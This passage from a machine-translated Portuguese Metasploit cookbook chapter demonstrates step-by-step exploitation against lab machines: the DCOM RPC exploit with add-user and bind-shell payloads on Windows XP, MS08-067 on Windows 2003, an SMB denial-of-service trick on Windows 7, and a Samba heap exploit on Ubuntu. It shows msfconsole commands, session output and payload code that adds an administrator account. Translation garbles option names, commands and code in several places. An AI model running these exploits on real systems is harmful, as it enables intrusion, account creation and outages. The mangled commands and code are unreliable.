testadores podem importar os resultados para a estrutura e combiná-los para produzir um único relatório.

A opção de exportação oferece aos testadores de penetração profissionais uma opção para gerar um
relatório completo de vários domínios e subdomínios em um único arquivo. O relatório pode ser exportado
em formato XML ou HTML. Também pode ser exportado na forma de um projeto ou modelo personalizado.

52
Machine Translated by Google

3
Vulnerabilidade
baseada no sistema operaciona
Avaliação e
Exploração

Neste capítulo, abordaremos:

f Explorar dicas rápidas de uso


f Teste de penetração em uma máquina com Windows XP
SP2 f Vinculando um shell ao alvo para acesso remoto
f Teste de penetração no Windows 2003 Server
f Loop infinito do cliente Windows 7/Server 2008 R2 SMB
f Explorando uma máquina Linux (Ubuntu) f
Entendendo as falhas de injeção de DLL do Windows

Introdução

No capítulo anterior, nos concentramos em coletar informações sobre nosso alvo. Várias
informações incluíam o endereço IP de destino, portas abertas, serviços disponíveis, sistema
operacional e assim por diante. Um dos maiores ativos no processo de coleta de informações é obter
conhecimento sobre o sistema operacional usado pelo servidor ou sistema de destino. Essas
informações podem ser muito úteis para penetrar na máquina de destino, pois podemos procurar
rapidamente explorações e vulnerabilidades do sistema operacional em uso. Bem, o processo não é
tão simples quanto parece, mas o conhecimento sobre o sistema operacional de destino pode facilitar
muito nossa tarefa.
Machine Translated by Google

Avaliação e exploração de vulnerabilidades baseadas no sistema operacional

Cada sabor do sistema operacional tem algum ou outro bug nele. Uma vez relatado, o processo de
desenvolvimento de exploits para ele começa. Os sistemas operacionais licenciados, como o Windows, desenvolvem
patches rapidamente para o bug ou vulnerabilidade e os fornecem como uma atualização para seus usuários.
A divulgação de vulnerabilidades é um grande problema atualmente. Muitas divulgações de dia zero criam confusão na
indústria de computadores. As vulnerabilidades de dia zero são muito procuradas e nos mercados clandestinos, o preço
pode variar de 50 K USD a 100 K USD. Vulnerabilidades são detectadas e exploradas, mas a divulgação da
vulnerabilidade depende do pesquisador e de sua intenção.

Produtos bem conhecidos, como Microsoft e Adobe, emitem patches em intervalos regulares, mas cabe ao usuário
aplicá-los. Em cenários corporativos, isso fica ainda pior - leva semanas até que os servidores sejam corrigidos devido
ao tempo de inatividade envolvido e para garantir que a continuidade dos negócios não seja prejudicada. Portanto, é
sempre recomendável atualizar ou ficar de olho em qualquer vulnerabilidade mais recente descoberta em seu sistema
operacional em uso. Sistemas não corrigidos são um refúgio seguro para hackers, pois eles imediatamente lançam
exploits para comprometer o alvo. Portanto, é essencial aplicar patches e atualizar regularmente os sistemas operacionais.
Neste capítulo, vamos nos concentrar nas vulnerabilidades relatadas em alguns dos sistemas operacionais mais populares.

No processo de teste de penetração, uma vez que as informações sobre o sistema operacional de destino
estão disponíveis, os testadores de penetração começam a procurar explorações disponíveis para as falhas
específicas do sistema operacional. Portanto, este capítulo será o primeiro passo para penetrar em nosso alvo por
meio de vulnerabilidades no sistema operacional. Vamos nos concentrar em alguns dos sistemas operacionais baseados
em empresas e domésticos mais amplamente usados da Microsoft e em alguns tipos de Linux. Também veremos como
usar exploits e configurar seus parâmetros para torná-lo executável na máquina de destino. Por último, mas não menos
importante, discutiremos algumas das cargas úteis disponíveis para nós na estrutura do Metasploit. Então vamos começar
com as receitas.

Explorar dicas rápidas de uso


Antes de começar a usar exploits e payload em máquinas de destino, primeiro teremos que saber algumas noções
básicas sobre eles. É muito essencial entender o uso de exploits para que você possa superar alguns erros comuns
que podem surgir devido à configuração incorreta de parâmetros.
Então, vamos começar com algumas noções básicas de uso de exploits e como definir valores de parâmetros.

Preparando-se
Para começar a usar explorações em seu alvo, a primeira coisa necessária é escanear o alvo em busca de portas e
serviços abertos. Depois de reunir informações suficientes sobre o alvo, a próxima etapa é selecionar as explorações
de acordo. Portanto, vamos analisar alguns dos comandos de exploração que podem ser iniciados diretamente do
msfconsole.

54
Machine Translated by Google

Capítulo 3

Como fazer isso...


Aqui está uma lista de comandos que serão úteis durante o uso do exploit:

f msf > show exploits and msf > show payloads: Esses dois comandos exibirão todos os
exploits e payloads disponíveis no diretório Metasploit.
f msf > search exploit: Este comando procurará uma exploração específica.
Também podemos usar esse comando para pesquisar quaisquer termos de pesquisa específicos.
O comando deve ser passado da seguinte maneira:

msf > pesquisar nome de exploração ou termo de pesquisa


Por exemplo, considere o seguinte comando:
msf > pesquisar ms03_026_dcom

Módulos correspondentes
================

Nome Data de Divulgação Classificação

Descrição
---- --------------- ---- ----------
--

explorar/janelas/

dcerpc/ms03_026_dcom 2003-07-16 excelente RPC da Microsoft


DCOM

f msf > use exploit: Este comando é usado para definir qualquer exploit como ativo e pronto
usar. O comando é passado da seguinte maneira:

msf > use o nome do exploit


Depois de executar este comando, o prompt também muda para o tipo de exploração:
msf > use exploit/windows/dcerpc/ms03_026_dcom
msf exploit(ms03_026_dcom) >

f show options: Este comando é usado para ver as opções ou parâmetros disponíveis do exploit
em uso. Os vários parâmetros incluem o IP do host, porta, threads e assim por diante. Os
parâmetros marcados como sim devem ter um valor para executar o exploit.
msf exploit(ms03_026_dcom) > mostrar opções

Opções do módulo (exploit/windows/dcerpc/ms03_026_dcom):

Nome Configuração atual necessária Descrição

55
Machine Translated by Google

Avaliação e exploração de vulnerabilidades baseadas no sistema operacional

---- --------------- -------- -----------

ASSAR sim O endereço de destino


RELATÓRIO 135 sim A porta de destino

f set: Este comando é usado para definir um valor para um parâmetro no exploit em uso.
Ele é usado para configurar uma carga útil para uma exploração específica em uso. O comando
pode ser passado da seguinte maneira:

msf > definir nome do parâmetro valor do parâmetro


Da mesma forma, podemos usar o comando unset também:

msf exploit(ms03_026_dcom) > definir RHOST 102.168.56.102


ASSADO => 102.168.56.102

msf exploit(ms03_026_dcom) >

Existem comandos opcionais chamados setg e unsetg. Esses comandos são usados quando temos
que definir globalmente um valor de parâmetro no msfconsole. Isso, portanto, nos salva de reinserir o
mesmo valor.

f show targets: Cada exploit é feito para atacar um determinado serviço de destino.
Este comando exibe as informações sobre quais possíveis alvos o exploit pode ser
usado:

msf exploit(ms03_026_dcom) > mostrar alvos

Explorar alvos:

Nome de identificação

-- ----

0 Windows NT SP3-6a/2000/XP/2003 Universal

Aqui podemos ver que o exploit dcom está disponível para vários tipos de máquina Windows.

Como funciona...
No Capítulo 1, Dicas rápidas do Metasploit para profissionais de segurança, discutimos que toda a estrutura
do Metasploit possui uma arquitetura modular. Diferentes exploits são convertidos em um módulo
compreensível pela estrutura que pode funcionar de acordo com ela. Diferentes comandos são chamados para
carregar e configurar os módulos. A interface de linha de comando do msfconsole facilita o acesso a diferentes
módulos e a realização de testes de penetração.

54
Machine Translated by Google

Capítulo 3

Teste de penetração em uma máquina com


Windows XP SP2
Vamos agora colocar nossas mãos no mundo das façanhas. Para começar, trabalharemos no sistema
operacional mais primário, porém mais amplamente usado, o Windows XP. Nesta receita, veremos como
podemos usar o Metasploit para invadir nosso sistema de destino que está sendo executado na máquina
com Windows XP. Estaremos usando os comandos que aprendemos na receita anterior e, em seguida,
avançaremos para selecionar explorações e cargas úteis e configurar vários parâmetros necessários.

Preparando-se
Iniciaremos nosso processo de teste de penetração diretamente no msfconsole. Portanto, inicie o
console e execute uma varredura de porta para coletar informações sobre o alvo. Discutimos a varredura
de portas em detalhes no capítulo anterior. Aqui, vou assumir que você reuniu informações sobre o alvo e
está executando um sistema operacional Windows XP. Então, vamos prosseguir com a seleção de exploits
e payloads.

Como fazer isso...


Para realizar testes de penetração em uma máquina com Windows XP SP2, siga estas etapas:

1. O objetivo principal será selecionar um exploit que possa ser usado em um Windows XP
máquina. Você pode navegar até o diretório /exploits/windows ou simplesmente fazer uma busca
por uma lista de exploits disponíveis para a plataforma Windows XP. Estaremos usando a
vulnerabilidade RPC dcom para penetrar em nosso alvo. Então, vamos primeiro procurar a
vulnerabilidade RPC dcom , usando o seguinte comando:

msf exploit(ms03_026_dcom) > pesquisar dcom

Módulos correspondentes
================

Nome Data de Divulgação Classificação Descrição


---- --------------- --- -----------

exploração/janelas

dcerpc/ms03_026_dcom 2003-07-16 ótimo RPC da Microsoft

xploit/windows/
motorista/
55
Machine Translated by Google

Avaliação e exploração de vulnerabilidades baseadas no sistema operacional

broadcom_wifi_ssid 2006-11-11 baixo Broadcom sem fio

xploit/windows/

smb/ms04_031_netdde 2004-10-12 bom Microsoft NetDDE

Como podemos ver, a pesquisa produziu três resultados. Estaremos trabalhando no primeiro exploit,
pois sua classificação é listada como ótima , para que tenha uma melhor taxa de sucesso.

2. Para definir exploit/windows/dcerpc/ms03_026_dcom como o exploit utilizável, executaremos o seguinte


comando:

msf exploit(ms03_026_dcom) > use exploit/windows/dcerpc/ms03_026_dcom

msf exploit(ms03_026_dcom) >

A alteração no prompt simboliza que o comando foi executado com sucesso.

3. O próximo passo será configurar os vários parâmetros do exploit. o show


O comando de opções listará os parâmetros disponíveis no exploit. Então, usando o comando set ,
podemos configurar os vários parâmetros. Alguns parâmetros também terão valores padrão:

msf exploit(ms03_026_dcom) > mostrar opções

Opções do módulo (exploit/windows/dcerpc/ms03_026_dcom):

Nome Configuração atual necessária Descrição


---- --------------- -------- -----------

ASSAR sim O endereço de destino


RELATÓRIO 135 sim A porta de destino

Explorar alvo:

Nome de identificação

-- ----

0 Windows NT SP3-6a/2000/XP/2003 Universal

Aqui RHOST denota o endereço IP do host remoto e RPORT denota a porta de ligação padrão.
O valor ou RPORT foi definido como 135 por padrão. Teremos que definir o valor de RHOST para
nosso endereço IP de destino para executar o exploit:

msf exploit(ms03_026_dcom) > definir RHOST 192.168.56.102

54
Machine Translated by Google

Capítulo 3

ASSADO => 192.168.56.102

msf exploit(ms03_026_dcom) >

Observe que a exploração ms03_026_dcom tem o ID definido como 0. Isso significa


que não precisamos especificar qual máquina Windows está sendo executada no
destino. Ele pode explorar qualquer uma das máquinas Windows listadas nele. Para
qualquer outra exploração, talvez seja necessário selecionar o sistema operacional de
destino usando o comando show targets.

Agora o valor de RHOST foi definido para nosso endereço IP de destino. Se tentarmos executar o
exploit, receberemos uma mensagem de erro. O motivo é que ainda não selecionamos nenhuma carga
útil para o exploit.

4. Nosso próximo passo será escolher uma carga relevante. Podemos usar o comando show payloads
para listar todos os payloads disponíveis. Começaremos com um exemplo simples da carga útil
windows/adduser . Esta carga adicionará um novo usuário no sistema operacional do alvo:

msf exploit(ms03_026_dcom) > definir PAYLOAD windows/adduser


PAYLOAD => windows/adduser

5. Agora, se usarmos novamente o comando show options , ele listará os parâmetros tanto para o exploit
quanto para a carga útil. Os parâmetros de carga útil serão mais ou menos assim:

Opções de carga (windows/adduser):

Nome Configuração atual necessária Descrição


---- --------------- -------- -----------

Tópico EXITFUNC sim seh, fio, processo,


nenhum

PASSAR metasploit sim senha para este usuário


DO UTILIZADOR
metasploit sim O nome de usuário para criar

Podemos ver que o nome de usuário e a senha padrão que serão adicionados ao nosso sistema
operacional de destino são metasploit e metasploit. Podemos alterar esses valores usando os
comandos set PASS e set USER .

6. Agora que nossa carga está definida, estamos prontos para penetrar na máquina de destino.
Usaremos o seguinte comando para iniciar o exploit:

msf exploit(ms03_026_dcom) > exploit

[*] Tentando destino Windows NT SP3-6a/2000/XP/2003 Universal...

55
Machine Translated by Google

Avaliação e exploração de vulnerabilidades baseadas no sistema operacional

[*] Ligando para 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_ tcp:192.168.56.102[135] ...

[*] Vinculado a 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_


tcp:192.168.56.102[135] ...
[*] Enviando exploit...
[*] Exploit concluído, mas nenhuma sessão foi criada.

A última linha da saída mostra que a exploração foi concluída com sucesso na máquina de
destino. Agora haverá um novo usuário adicionado na máquina de destino. A saída também diz
que nenhuma sessão foi criada. Isso ocorre porque a carga que usamos era um adduser
simples que não precisa de nenhuma sessão ativa. Portanto, assim que a exploração for concluída,
a conexão com o alvo será encerrada. Na próxima receita, usaremos o payload para configurar
uma sessão.

Como funciona...
Há vulnerabilidade na parte do RPC que trata da troca de mensagens sobre TCP/IP. A falha ocorre
devido ao tratamento incorreto de mensagens malformadas. Essa vulnerabilidade específica afeta uma
interface DCOM ( Distributed Component Object Model ) com RPC, que escuta em portas habilitadas
para RPC. Portanto, a máquina de destino deve ter uma porta disponível executando um serviço RPC.

Essa interface lida com as solicitações de ativação do objeto DCOM que são enviadas pelas máquinas
clientes para o servidor. Um invasor que explorar com êxito essa vulnerabilidade poderá executar o código
com privilégios de sistema local em um sistema afetado. O invasor seria capaz de realizar qualquer ação no
sistema. Isso inclui instalar programas, visualizar/alterar/excluir dados ou criar novas contas com privilégios
totais.

Para obter mais detalhes sobre esta vulnerabilidade, você pode visitar o seguinte link para Microsoft
Boletim de Segurança:

http://technet.microsoft.com/en-us/security/bulletin/ms03-026

Agora, para entender o funcionamento do payload adduser , vamos analisar o código ruby para o
payload. Vamos navegar até o local da carga útil:

root@bt:~# cd /pentest/exploits/framework3/modules/payloads/singles/ windows

root@bt:/ pentest/exploits/framework3/modules/payloads/singles/windows#
menos adduser.rb

A seguinte parte do código que nos interessa:

# Registre as opções de execução do comando


opções_cadastrar(

54
Machine Translated by Google

Capítulo 3

[
OptString.new('USER', [ true, "O "metasploit" ]),
nome de usuário para criar", OptString.new('PASS', [ true, "A senha para este usuário",
"metasploit" ]), ], self.class)

# Ocultar a opção CMD

deregister_options('CMD')
fim
#
# Substitua a string de comando exec #

def command_string user =


datastore['USER'] || 'metasploit' pass = datastore['PASS'] || ''

if(pass.length > 14) raise


ArgumentError, "Senha para o adduser
payload deve ter 14 caracteres ou menos" final

"
return "cmd.exe /c net user #{user} #{pass} /ADD &&
+
"net localgroup Administradores #{user} /ADD"
fim

Você pode entender o código através dos comentários adicionados com o símbolo # . O código é simples
e auto-explicativo. Ele primeiro registra valores para o nome de usuário e senha. Em seguida, ele oculta
a função CMD de aparecer na tela de destino enquanto a carga útil é executada. Em seguida, o código
substitui a carga útil windows/exec para passar os valores dos parâmetros e iniciar um prompt de comando
furtivo para executar em segundo plano.

Você pode brincar com o código e fazer suas próprias alterações. Isso ajudará você a se aprofundar no
mundo das cargas úteis.

Vinculando um shell ao destino


para acesso remoto
Na receita anterior, analisamos como explorar uma máquina Windows SP2 e adicionar uma nova conta
de usuário. Mas a conexão foi encerrada imediatamente após a execução do exploit.
Nesta receita, daremos um passo à frente e vincularemos um shell ao alvo para que possamos configurar
uma conectividade remota com o alvo e obter controle sobre ele. O processo é semelhante ao mencionado
na receita anterior. Tudo o que precisamos fazer é usar uma carga útil diferente que possa iniciar um shell
para nós na máquina de destino.

55
Machine Translated by Google

Avaliação e exploração de vulnerabilidades baseadas no sistema operacional

Preparando-se
Começaremos novamente lançando nosso msfconsole e nosso objetivo é o mesmo do teste de penetração
em uma receita de máquina com Windows XP SP2. Usaremos a mesma vulnerabilidade dcom e, dessa
vez, usaremos uma carga útil diferente para vincular um shell ao destino.

Como fazer isso...


Para vincular um shell ao destino, siga estas etapas:

1. Começaremos selecionando o exploit dcom em nossa máquina de destino. nós vamos configurar
os vários parâmetros de exploração e, em seguida, selecione a carga útil:

msf > usar exploit/windows/dcerpc/ms03_026_dcom msf


exploit(ms03_026_dcom) > mostrar opções

Opções do módulo (exploit/windows/dcerpc/ms03_026_dcom):

Nome Configuração atual necessária Descrição


---- --------------- -------- -----------

ASSAR sim O endereço de destino


RELATÓRIO 135 sim A porta de destino

Explorar alvo:

Nome de identificação

-- ----

0 Windows NT SP3-6a/2000/XP/2003 Universal

msf exploit(ms03_026_dcom) > definir RHOST 192.168.56.102


ASSADO => 192.168.56.102

2. Agora que nosso exploit está configurado, passaremos para o payload. Usar o comando show
payloads listará todos os payloads disponíveis. Agora, usaremos o payload windows/shell/
bind_tcp que abrirá uma conexão TCP na porta 4444 (por padrão) na máquina de destino e nos
fornecerá um shell de comando:

msf exploit(ms03_026_dcom) > definir PAYLOAD windows/shell/bind_tcp

PAYLOAD => windows/shell/bind_tcp

54
Machine Translated by Google

Capítulo 3

3. Agora: usando o comando show options , podemos configurar outros parâmetros relevantes como RHOST
e alterar a porta padrão. Depois de configurar os parâmetros, executaremos o exploit. Vamos ver qual é
a saída da execução:

msf exploit(ms03_026_dcom) > exploit

[*] Manipulador reverso iniciado em 192.168.56.101:4444

[*] Detectando automaticamente o alvo...

[*] Impressão digital: Windows XP - Service Pack 2 - lang:Inglês

[*] Alvo selecionado: Windows XP SP2 Inglês (AlwaysOn NX)

[*] Tentando acionar a vulnerabilidade...

[*] Enviando estágio (240 bytes) para 192.168.56.102

[*] Sessão 1 do shell de comando aberta (192.168.56.101:4444 -> 192.168.56.102:1052) em


31/10/2011 01:55:42 +0530

Microsoft Windows XP [Versão 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

A exploração foi executada com sucesso e temos um prompt de comando iniciado em nosso msfconsole. Agora
esta sessão pode ser usada para obter acesso remoto completo da máquina de destino. Podemos sair desta
sessão a qualquer momento usando o comando exit .

Você já deve ter percebido o poder das cargas úteis no Metasploit. É altamente recomendável que se experimente
várias cargas úteis disponíveis para entender sua funcionalidade.

Como funciona...
O funcionamento do exploit dcom é o mesmo explicado na receita anterior. Para entender o funcionamento do
bind_tcp, teremos que esperar um pouco, pois envolve alguns conceitos que trataremos em um capítulo posterior
deste livro. Ainda assim, você pode dar uma olhada no código ruby da carga útil navegando até /pentest/exploits/
framework3/modules/payloads/stagers/windows/bind_tcp.rb.

Tem mais...
Qual o proximo? Como um acesso de shell pode nos fornecer controle sobre o alvo.

55
Machine Translated by Google

Avaliação e exploração de vulnerabilidades baseadas no sistema operacional

Obtendo controle total do destino Agora que temos uma


conectividade de shell configurada com nossa máquina de destino, podemos ter acesso total à máquina de destino
usando o prompt de comando. Agora podemos prosseguir para explorar a máquina de destino usando os comandos
comuns do DOS disponíveis para nós. Algumas das operações básicas incluem listagem de diretórios, cópia de
arquivos e pastas, criação de agentes de usuário e assim por diante.

Teste de penetração no Windows 2003


Servidor
Na receita anterior, analisamos como usar o exploit dcom para causar um estouro de buffer e explorar nosso alvo
Windows. Nesta receita, vamos nos concentrar em um ambiente semelhante, mas logicamente diferente. O Windows
2003 Server é um dos sistemas operacionais baseados em empresas mais amplamente usados da Microsoft. Nesta
receita, veremos como podemos explorar um Windows 2003 Server. As versões atualizadas do Windows 2003
Server são corrigidas para que a vulnerabilidade dcom não funcione nela. Portanto, tentaremos diferentes
vulnerabilidades nesta receita. Estaremos usando a vulnerabilidade netapi32.dll . Primeiro, analisaremos o processo
de exploração e depois analisaremos a causa dessa vulnerabilidade. Então vamos começar nosso teste de
penetração.

Preparando-se
Para começar, vamos iniciar o msfconsole e executar uma verificação rápida do alvo. É sempre recomendável
seguir todas as etapas em ordem sequencial para garantir o fortalecimento do básico. O próximo passo será o
mesmo que discutimos nas duas receitas anteriores. A única diferença será no uso do exploit.

Como fazer isso...


Para realizar o teste de penetração no Windows 2003 Server, siga estas etapas:

1. Vamos começar procurando por netapi. Isso listará qualquer exploração disponível relacionada ao
netapi no diretório Metasploit:
msf > pesquisar netapi

Módulos correspondentes
================

Nome Data de Divulgação Classificação

---- --------------- ----


exploit/windows/smb/ms03_049_netapi 2003-11-11 bom

54
Machine Translated by Google

Capítulo 3

exploit/windows/smb/ms06_040_netapi 2006-08-08 bom

exploit/windows/smb/ms06_070_wkssvc 14/11/2006 manual

exploit/windows/smb/ms08_067_netapi 2008-10-28 ótimo

Como podemos ver, dos quatro resultados, o último exploit tem uma classificação ótima. Portanto,
preferimos usar esse exploit.

2. Vamos configurar o RHOST como nosso Windows 2003 Server de


destino: msf > use exploit/windows/smb/ms08_067_netapi

msf exploit(ms08_067_netapi) > mostrar opções

Opções do módulo (exploit/windows/smb/ms08_067_netapi):

Nome Configuração atual necessária Descrição


---- --------------- -------- -----------

ASSAR sim O endereço de destino


RELATÓRIO 445 sim Definir a porta de serviço SMB
NAVEGADOR SMBPIPE sim O nome do pipe a ser usado
(NAVEGADOR, SRVSVC)

Explorar alvo:

Nome de identificação

-- ----

0 Segmentação Automática

msf exploit(ms08_067_netapi) > definir RHOST 192.168.56.102


ASSADO => 192.168.56.102

Novamente, o valor de ID 0 sugere que não precisamos especificar o sistema


operacional de destino.

55
Machine Translated by Google

Avaliação e exploração de vulnerabilidades baseadas no sistema operacional

3. Depois de concluir o processo de carregamento do exploit, o próximo passo será configurar o


payload. Vamos configurar novamente um shell tcp_bind na máquina de destino, como discutimos
anteriormente.

msf exploit(ms08_067_netapi) > definir carga útil

windows/shell/bind_tcp

payload => windows/shell/bind_tcp

msf exploit(ms08_067_netapi) > definir LHOST 192.168.56.101


LHOST => 192.168.56.101

Agora, nosso exploit e carga útil estão prontos. A próxima e última etapa é usar o comando exploit . Vamos
analisar o resultado da execução:

msf exploit(ms08_067_netapi) > exploit

[*] Manipulador de ligação iniciado

[*] Detectando automaticamente o alvo...

[*] Impressão digital: Windows 2003 SERVER - Service Pack 2 - lang:Inglês

[*] Alvo selecionado: Windows 2003 Server SP2 Inglês (AlwaysOn NX)

[*] Tentando acionar a vulnerabilidade...

[*] Enviando estágio (240 bytes) para 192.168.56.102

[*] Sessão 1 do shell de comando aberta (192.168.56.101:43408 -> 192.168.56.102:4444)


em 2011-11-02 21:25:30 +0530

C:\WINDOWS\system32>

Bingo! Temos uma conexão shell com nosso alvo. Isso nos dá acesso à máquina de destino por meio da
linha de comando. Você pode ver como o Metasploit pode ser poderoso para penetrar nas máquinas de
destino. Isso realmente simplifica muito mais nossa tarefa. Vamos dar uma olhada rápida no exploit que
usamos nesta receita.

Como funciona...
Este módulo explora uma falha de análise no código de canonização do caminho de netapi32.dll por
meio do serviço do servidor. Este módulo é capaz de contornar o NX em alguns sistemas operacionais
e service packs. O destino correto deve ser usado para evitar que o serviço do servidor (juntamente
com uma dúzia de outros no mesmo processo) falhe.

54
Machine Translated by Google

Capítulo 3

Loop infinito do cliente SMB do Windows 7/


Server 2008 R2
Existem pouquíssimas explorações disponíveis para o Windows 7 e o Windows Server 2008. O loop
infinito do cliente SMB é uma dessas vulnerabilidades que causa uma falha no sistema. Essa vulnerabilidade
não fornecerá nenhuma sessão ou conectividade de shell, mas vale a pena discuti-la. Lidaremos com a
falha de injeção de DLL no Windows 7 na receita Compreendendo as falhas de injeção de DLL no Windows .

O cliente SMB no kernel no Microsoft Windows Server 2008 R2 e no Windows 7 permite que servidores
SMB remotos e invasores man-in-the-middle causem uma negação de serviço (loop infinito e travamento
do sistema) via pacote de resposta SMBv1 ou SMBv2. O pacote contém um valor de comprimento
incorreto em um cabeçalho NetBIOS ou um campo de comprimento adicional no final deste pacote de
resposta. Esse valor de cabeçalho incorreto é o principal motivo da vulnerabilidade.

Preparando-se
Metasploit contém um módulo auxiliar auxiliary/dos/windows/smb/ms10_006_ negocia_response_loop
que pode ser usado para explorar o servidor SMB e causar uma negação de serviço. O vetor de ataque
funciona passando um caminho UNC para uma página da Web e solicitando ao usuário que o execute.
Depois que o usuário abre o arquivo compartilhado, o sistema trava completamente e o alvo é forçado a
reiniciar.

Como fazer isso...


Para começar a usar este módulo auxiliar, teremos que executar o comando use junto com o caminho para
o módulo. Em seguida, seguiremos em frente para configurar os parâmetros necessários e executar o
módulo. Vamos proceder para implementar praticamente estas etapas:

msf > use auxiliar/dos/windows/smb/ms10_006_negotiate_response_loop

msf auxiliar(ms10_006_negotiate_response_loop) > mostrar opções

Opções do módulo (auxiliary/dos/windows/smb/ms10_006_negotiate_response_ loop):

Nome Configuração atual necessária Descrição


---- --------------- -------- -----------

SRVHOST 0.0.0.0 sim O anfitrião local..

55
Machine Translated by Google

Avaliação e exploração de vulnerabilidades baseadas no sistema operacional

SRVPORT 445 sim A porta SMB para escutar

SSL falso não Negociar SSL..

Certificado SSL não Caminho para um SSL personalizado

SSLVersão SSL3 não Especifique a versão..

Vamos configurar rapidamente os vários parâmetros. O único parâmetro a ser procurado é SRVHOST ,
que é o endereço IP do host local ou o endereço IP dos testadores de penetração.

msf auxiliar(ms10_006_negotiate_response_loop) > definir SRVHOST


192.168.56.101

SRVHOST => 192.168.56.101

Como funciona...
Usaremos o comando run para executar o módulo auxiliar. Depois que o módulo é executado, ele gera um link de pasta
compartilhada que deve ser enviado ao destino. Nesse caso, o link gerado é \\192.168.56.101\Shared\Anything.

msf auxiliar(ms10_006_negotiate_response_loop) > executar

[*] Iniciando o serviço SMB malicioso...

[*] Para disparar, o cliente vulnerável deve tentar acessar: \\192.168.56.101\Shared\Anything

[*] Servidor iniciado.

Agora podemos fazer com que o link pareça menos suspeito criando uma página da Web e anexando
esse link a ela e enviando-o ao usuário de destino. Assim que o alvo clicar neste link, o sistema congelará
completamente e levará a uma negação de serviço completa, levando ao reinício do sistema.

Explorando uma máquina Linux (Ubuntu)


O Linux também é um dos sistemas operacionais amplamente utilizados depois do Windows. Nas receitas
anteriores, vimos como podemos penetrar em uma máquina Windows explorando falhas críticas nos
serviços disponíveis. Nesta receita, vamos lidar com os sistemas operacionais Linux. Estaremos usando
o Ubuntu 9.0 nesta receita, mas o processo será semelhante para explorar qualquer tipo de Linux e Solaris
executando o serviço Samba. Vamos seguir em frente com a receita.

54
Machine Translated by Google

Capítulo 3

Preparando-se
Começaremos examinando nossa máquina Linux de destino para coletar informações sobre os serviços
disponíveis. Vamos realizar uma varredura rápida do Nmap e analisar seu resultado:

msf > nmap -sT 192.168.56.101

[*] executável: nmap 192.168.56.101

Iniciando o Nmap 5.20 ( http://nmap.org ) em 05/11/2011 13:35 IST

Aviso: o Traceroute não oferece suporte à varredura ociosa ou conectada, desativando...

Relatório de verificação do Nmap para 192.168.56.101

O host está ativo (latência de 0,00048s).

Não mostrado: 997 portas fechadas


VERSÃO DO SERVIÇO DO ESTADO DO PORTO

80/tcp open http Apache httpd 2.2.3 ((Ubuntu) PHP/5.2.1) |_html-title: Índice de /

139/tcp aberto netbios-ssn Samba smbd 3.X (grupo de trabalho: MSHOME)

445/tcp aberto netbios-ssn Samba smbd 3.X (grupo de trabalho: MSHOME)

Endereço MAC: 08:00:27:34:A8:87 (Cadmus Computer Systems)

Nenhuma correspondência exata do sistema operacional para o host (se você souber qual sistema operacional está
sendo executado, consulte http://nmap.org/submit/)

Então agora reunimos informações sobre o alvo. Nosso próximo passo será selecionar um exploit e
uma carga adequada para ele.

Como fazer isso...


O processo de penetração em uma máquina Linux é semelhante ao do Windows. Siga esses passos:

1. Tudo o que temos que focar é selecionar o exploit e a carga útil corretos. Vamos procurar qualquer
Exploit Samba disponível no diretório Metasploit:
msf > pesquisar Samba

55
Machine Translated by Google

Avaliação e exploração de vulnerabilidades baseadas no sistema operacional

2. O comando fornecerá uma lista de vários auxiliares e módulos de exploração para o Samba.
Usaremos o módulo exploit/linux/samba/lsa_transnames_heap que está listado como um bom
exploit de classificação. Portanto, terá maior probabilidade de explorar o alvo.
Vamos definir o exploit como ativo e configurar os parâmetros.
msf > use exploit/linux/samba/lsa_transnames_heap

msf exploit(lsa_transnames_heap) > mostrar opções

Opções do módulo (exploit/linux/samba/lsa_transnames_heap):

Nome Configuração atual necessária Descrição


---- --------------- -------- -----------

ASSAR sim O endereço de destino


RELATÓRIO 445 sim Definir a porta de serviço SMB
SMBPIPE LSARPC sim O nome do pipe a ser usado

Explorar alvo:

Nome de identificação

-- ----

0 Linux vsyscall

msf exploit(lsa_transnames_heap) > definir RHOST 192.168.56.101


ASSADO => 192.168.56.101

msf exploit(lsa_transnames_heap) >

3. Agora nossa próxima tarefa é selecionar uma carga útil. Teremos que ter uma coisa em mente que,
como estamos mirando em uma máquina Linux, teremos que selecionar uma carga Linux para
nosso processo de penetração. Estaremos usando a carga linux/x86/shell_bind_tcp que funciona
de forma semelhante à carga útil bind_tcp que analisamos nas receitas anteriores para Windows.

msf exploit(lsa_transnames_heap) > set payload linux/x86/shell_ bind_tcp

payload => linux/x86/shell_bind_tcp

54
Machine Translated by Google

Capítulo 3

msf exploit(lsa_transnames_heap) > mostrar opções

Opções do módulo (exploit/linux/samba/lsa_transnames_heap):

Nome Configuração atual necessária Descrição


---- --------------- -------- -----------

ASSAR 192.168.56.101 sim O endereço de destino


RELATÓRIO 445 sim Definir a porta de serviço SMB
SMBPIPE LSARPC sim O nome do pipe a ser usado

Opções de carga útil (linux/x86/shell_bind_tcp):

Nome Configuração atual necessária Descrição


---- --------------- -------- -----------

LPORT 4444 sim A porta de escuta


ASSADO 192.168.56.101 não O endereço de destino

4. Estamos prontos agora e nossa etapa final será fornecer o comando exploit para começar
o processo de exploração:
msf exploit(lsa_transnames_heap) > exploit

[*] Manipulador de ligação iniciado

[*] Criando nop sled....

[*] Tentando explorar o Samba com endereço 0xffffe410...

[*] Conectando ao serviço SMB...

Na execução bem-sucedida da exploração, receberemos conectividade de shell com nossa


máquina de destino. O processo é muito semelhante aos que discutimos nas receitas
anteriores. A única diferença está na seleção de exploits e payloads. Quanto mais diferentes
combinações de exploits e payloads você tentar, melhor será sua compreensão sobre isso.

55
Machine Translated by Google

Avaliação e exploração de vulnerabilidades baseadas no sistema operacional

Como funciona...
Vamos passar por uma nota rápida sobre o serviço, sua exploração e funcionamento. Samba é usado
para impressoras e compartilhamento de arquivos entre máquinas Linux e Windows. Este módulo
aciona um estouro de heap no serviço LSA RPC do daemon Samba. Este módulo usa o método de
substituição de trechos talloc (crédito Ramon e Adriano), que só funciona com as versões 3.0.21-3.0.24 do
Samba. A exploração aproveita a alocação dinâmica de memória em heaps. Há chances de que a
exploração não seja bem-sucedida na primeira tentativa, portanto, você pode tentar várias vezes para obter
sucesso.

Tem mais...
Vamos cobrir alguns módulos mais relevantes relacionados ao sistema operacional Linux.

Outros módulos de exploração relevantes para Linux Além do


módulo de exploração discutido nesta receita, há mais dois módulos que merecem alguma atenção. É
altamente recomendável que você tente esses exploits manualmente para entendê-los profundamente. Eles
são:

